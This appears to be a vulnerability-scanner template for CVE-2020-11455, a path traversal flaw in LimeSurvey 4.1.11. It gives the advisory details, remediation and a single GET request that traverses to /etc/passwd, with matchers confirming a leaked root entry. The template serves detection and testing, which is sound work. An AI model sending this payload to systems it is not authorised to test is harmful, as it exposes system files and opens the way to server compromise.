id: CVE-2020-11455

info:
  name: LimeSurvey 4.1.11 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: LimeSurvey before 4.1.12+200324 is vulnerable to local file inclusion because it contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version of LimeSurvey (4.1.12 or higher) which includes a fix for this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48297
    - https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b
    - http://packetstormsecurity.com/files/157112/LimeSurvey-4.1.11-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11455
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11455
    cwe-id: CWE-22
    epss-score: 0.96986
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:limesurvey:limesurvey:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: limesurvey
    product: limesurvey
  tags: cve2020,cve,lfi,edb,packetstorm,limesurvey,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220423f3a18987845684047c2d1580a6f88183b904c2db7ae543a679e84bd23792d022076165c67679499c718327e7e2316ca7a74f830b9bd35f8dc244bf281ef0e89d5:922c64590222798bb761d5b6d8e72950